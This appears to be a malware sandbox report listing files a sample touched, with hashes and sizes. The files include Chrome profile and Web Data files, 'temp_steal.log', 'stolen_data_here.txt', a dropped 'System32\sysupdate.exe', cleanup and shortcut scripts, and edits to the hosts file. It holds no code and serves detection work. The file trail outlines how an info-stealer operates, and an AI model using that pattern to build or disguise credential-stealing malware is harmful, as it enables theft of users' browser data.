- SHA256 d4571b4a2c7b2659c32c039bbeae4c8f6ca7f851dd73376335cf3ce485fe971a
- MD5 1ef2a442463df38667abcec8625f4504
- SHA1 66507d6dacca1e8245a9f83088bf7856b05523b8
- SHA512 1f017259b4209ec06af3cf6e3d9600ad898f28abe5019b9e4b065231c1dc2c7bd2f27dbc0ed9b556aa6da6cbc00083b807bf2dfa0e4b6c31e02ebc9d346ca54c
- SSDEEP 192:4RFvFVDKK7yOntv7VJpAPRp2B9fHsb+WNnxePcPqdkwzbLVyIsnAUge:4RFNFlnNvUXGhwgPc6The
- TLSH T12A42A32DBE20357B9CDBD32AFA227662D7F6102225902E88E6FCC93C15E75DD2217417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 b65753e07ab0307a8920b1983bc94c1d52508a740adb2491ba4e3eb0a18d7a63
- MD5 338d16d5668bb611ecf4df62947b2af4
- SHA1 45de244a2d441848866b215c91d1adeb6fea413f
- SHA512 8c3a4b855fbbd54ab11c4b5bdf78f147f575698432eb6e5426f502df99110b5154a7d152f43051280ae57ea51e14eebf67d94cd5f84e5f87fb0a10315e2395cf
- SSDEEP 192:4RFvF1zTkgL97yOntv7VJpAPRp2MC39fHsb+WNnxeBCD2L2cW0qdkwzbLVyIsnA4:4RFNNTkAnNvUXkhwg92cqTh8
- TLSH T15642A22DFE20357B9CDBD22AF9217662D7F6102224902E88EAF8C93C15E75DD2217457
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 7e62ba477ed907472bcd67f1bf01e050de22807d96a1e3e99ec972cad0e6c77b
- MD5 7a656580357af5adef9b34fd12779ead
- SHA1 b64b01fe70608153f306450756456aa9ab8f3fb5
- SHA512 33b475b38cf03b9185bd4fa9f5656074ff9a08227ea9630af8ada0850f00b0ba1c87a8f2556ecb57cfbd117e5fe212bad3a9108b7d8e1430832cdf65753c109e
- SSDEEP 384:JvjFE7KxkXqKf/pUZNCgVLH2HfgslsS7pLuLcIbWXODFs+ErU3kTHGD/Wmrga2:JbFE7KxkXqKf/pUZNCgVLH2HfgsKS7pT
- TLSH T14A721A67AC4C9E3B4FD4C6CCD8167B4FADB5024B65DE886483FA982503D5ACB110A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 e2520040a18fc5ee629ee6039c0ea890f9b49cb84340ddc81f74e15e171bd3e7
- MD5 fa433c0842a31ebc59ebcbaf1cf265c7
- SHA1 667cdfa7a9d5a2f759dbb286dbf48bae5fe3284d
- SHA512 7118bec126070fe51895e23281640d8e2aa03e9f315cb625cc2b3bbea556d53bf5dea927cd91c6a100e7e90604c013f6677e9f6fba9fab2a29beefa8a0e645c3
- TLSH T113B01204C0816701C0A203B0125018C8B564AF16A705130282F40E52DC39179901B054
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe593f03.TMP
- Size 96B
- SHA256 d1ab5efb797ee2c8c200edb10aa9a606ee1bbc74121a3f5d890cf8ca1ab617a9
- MD5 47822c37138396acf8d8ca6da58287bd
- SHA1 432072fbdcbef101a7714a07bc7acd8d570757dd
- SHA512 689803305ae8888be6a28bfff1518322129704fbdc8ea618f3fbff72d6b6ff7f6b9e6f7dcb2eab3afe13ae438dde9bce31a883f135af4d5203dd634295539f21
- TLSH T1FEB00259C502A252C45603B135AB96D8B571DF29C6431212E2E01B67EC65A724B261A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 d27dfb0ad03e6093cea587d3438076d9fc326283a342498d63231a297efed6f8
- MD5 41af633d44d83be680c7fc2ae8a33c8a
- SHA1 46a664e4b38b1582fef7bea996dbfda2e1474db0
- SHA512 2fb438aa59aa6fc4c690c3c8d27611f47dd226a06f357050ce11dd119206f59699d88a78b3e5a6b0f1b720ba85d7769654c33d03bed95d038df9b6a4097ff5e4
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Ojl5Vumqn+xJp:1nbZeMrv/hGtpcn+Z
- TLSH T1DED3874B3A743102EDE58A721CE050BB5E3CB16D4F51A5D538B624588EF2963B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 264KB
- SHA256 9c86f2bbc16270758c17df062c0073d12fc068db9f05d36b689c231bd01406dd
- MD5 fd4b72e8d1048e77288a617bf809adf5
- SHA1 bd22985ab0c783f37b376ad5cc9838d51b4bb0a2
- SHA512 cda02da39f370d40eb9379fc4af7f9288eb8daa16be8ff90ef66e5ae981dab2629e73dceed0168b24056f328f97cd26654003322f527b2665ec3975ac3e46dd8
- SSDEEP 6144:3TY0CzBo+XX9j7+hFD+7t56OD9ZfSApprmL:DY0l+tyFSXD9ZfS4oL
- TLSH T1E0441257AE8DEE5795BD5515B147E3008EA348EF51DA6B6F88416E8E81CF88C0332E33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 264KB
- SHA256 7cbaa85fd1bf61f89f19e6920831ecf970d0a454aca936a8edc9e87f31c8eba1
- MD5 9aa4f5df826e394dadb186fcd3502c15
- SHA1 62a2de569ecee242ac201eb8d2b07ca569c6096a
- SHA512 5ebff437acffce8b5ce8698dce71401efcbadded63963fcb99bcfba37b2bd5fd21ca00312f13da96647ccb8697b34ab2402bc7ae4b8b4fca73899610e586ab78
- SSDEEP 6144:eTY0CzBo+XX9j7+hFD+7t56OD9ZfSApprmL:MY0l+tyFSXD9ZfS4oL
- TLSH T186441257AE8DEE5795BD5515B147E3008EA348EF51DA6B6F88416E8E81CF88C0332E33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 265KB
- SHA256 a4ce59c3043c3350fee9b4d886801dd8479648026ca60284af3dd1287ce165d4
- MD5 fbdac0fe71458a7e354318f0ee185c2c
- SHA1 f4590c4686fc080d9e9d771b9b8c78937088ad60
- SHA512 09209d75d210b9ea7bd988d0db707fb9e0ebb595e0a15b531ff5d80381d3befe8b3f5efae386ef2c587d0d22ad6574e4facac6eb0585f1877fbe0e4725a3fea1
- SSDEEP 6144:eMMY0CzBo+XX9j7+hFD+7t56OD9ZfSApprmL:KY0l+tyFSXD9ZfS4oL
- TLSH T1CE441267AE8DAE5785BD5915A107F2008DE389EF51DD6B5F88416E4EC1CF8884332E33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 130KB
- SHA256 0c31769d41bc0182d5ad6112f30df33d4685ddbe0d352b8d1233a6ff31c0ed0b
- MD5 76e65e8c446c2dfdd8293b847f624a0a
- SHA1 20cef3b1afb6652b77aaa648fb5598ccce5d469d
- SHA512 4fbbc133aa19a00f7ea526322fb29d80f3a4224f9f39cd822ebd48fd4e9a0c73e67a2161b4fdf8d21a0bc0697fa4035859c3daf316cc247c47fed325e70988ee
- SSDEEP 3072:wJN+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+g3:wj+hFD+7t56OD9ZfSAppr3
- TLSH T1D2D31232AA94C8BBC9BD6541F157A300DE626CED45DE7A09444A9F8EE09FC5C0773A33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 131KB
- SHA256 c01276c642cb2f1573b639beb413adf75d76b1e01a997a7b948194b3abb609fd
- MD5 4e11f4694365339efd489d9cf91db580
- SHA1 5aace251b4f7ec35b3e678ae62971dcc20afcc0b
- SHA512 f333feadfe8921a8cf77577a8ce8d0a089a07af4307ac685dda9b2aaf6e44e0388c5287389f2b9080c14cdb09420fc9354e4ade75312f53b8b44642c3211678d
- SSDEEP 3072:wJd+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gu:wz+hFD+7t56OD9ZfSAppru
- TLSH T12CD31232AA95D8BBC9F96541F157A300CD7268ED41DE3B0984465F8EA19FC5C07B3A33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xoilac-tv.design_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r3qomwkz.0vg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 b36030647c3abdb86fa9d0b6fe7204bcc744bc435c6ad2483d21bed326091f0e
- MD5 83c218b742b8107923b43723498c18a2
- SHA1 7ae8a7c8384d5c4f9a031dce8c4d1af5c18e7673
- SHA512 620162b5c2ec7e15ef53f01fd513e4228790488021a801abd4c39b602b0cd450ba24fb301dcc9635778f13fe8984cdc3b93bd37039992c8ab180949325f0cc0c
- TLSH T131D0978BB309C2BA0001123B80F3CD4CE9E48C283F13BEA08BE1CC4D32808858EF6043
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 8e13f34b91711410483cf58c48ebb2e2751fef38c06b72be6129313ac88c7577
- MD5 cde50b76868b41dde79981af6a6684b0
- SHA1 11ce6d9518483faab50c938656267ce8955111c1
- SHA512 93e8cef813eba3b2ad62500e2ab7afc1bca6ee6f83a35004717dc72d5f83de573da200d928b7145beddcb07bb0ce5497f1bb0308606af4f3e2d7856cfa9e74b8
- TLSH T1C9D0A59BB349C6794001163B40F3CD4CD5D54C693F136E609795DD4D33415554DF5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 130KB
- SHA256 96f876021fe79abab482b1c4e64aa2bfca5b30d84b321ea035012bb9e48c0386
- MD5 b0943016d31648378e659728a7a47c74
- SHA1 872333fedba1b841d27e23d23cf7c2be9d167099
- SHA512 1e1080206fbf6ab947e53e5bb5a904e1306cd9390eedefe3c927b1f1c791fac07757f3bb8b66366ed15a2c608fd0f7f8977588ffb9af1596d23eba5900faf9d3
- SSDEEP 1536:q5xlCjF/xb7UsssUscQUg+VbbvCrU92iaiR7cIODLlrLA6iYcvjbz1vjbNpckR8G:uxmFwVbbKUpKlvAVYcLbz1LbNG08PKJ
- TLSH T129D3F814C7728F3E05865ADF1C5236C0A07CF6F197ACC6FB30AA9E63B166CE6C259251
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 130KB
- SHA256 c31e0dd06740abd9e9781a717b47527999a7a38763a2b5e039f86e2579a75946
- MD5 9a838cecc8e5ba3dba1af99bce6e64fa
- SHA1 9d67f369977a55c46e07bbbcee73318494193ce4
- SHA512 9df8ce3c6f7dd13f6478d09064b7dff501a80c15608d599ba59c2de46e4212c84c5254bffb76cbbe954dc6670738ca421542e209338322aa3a2c629a995ded91
- SSDEEP 1536:+5xlCjF/xb7UsssUscQUg+VbbvCrU92iaiR7cIODLlrLA6iYcvjbz1vjbNpckR86:6xmFwVbbKUpKlvAVYcLbz1LbNG08PKR
- TLSH T18BD3F814C7B28F3E05865ADF1C5236C0A07CF6F197ACC6FB30AA9E63B166CE6C259151
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 5eb051a186f9a9508eef3cbbbc8aac335822d8a52219cd7920d5b03e42ff6d4a
- MD5 7a0382ed594a61c332943ff0c5d2c3a5
- SHA1 87b765db3b27dfe82b89c53750de4daf24af09f1
- SHA512 42bb6f6de0263196d09db8d96fae933bb38fd11a9a30b710652cca42b98167d7ad1a9d40977438506e75e485abb72ce31d832abebfc060d0098cf87a1eb32dd3
- SSDEEP 768:mhTDb3uOriweukumSLjLm4u//o4zC1XXGblfA0/vKFcp:GTXu41kUzPuI4zEXGblf9/vucp
- TLSH T15C33E71477F98211E1BF4ABA8DB182119B31F8979C22D78D06D5058E1AB3B40DEE8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH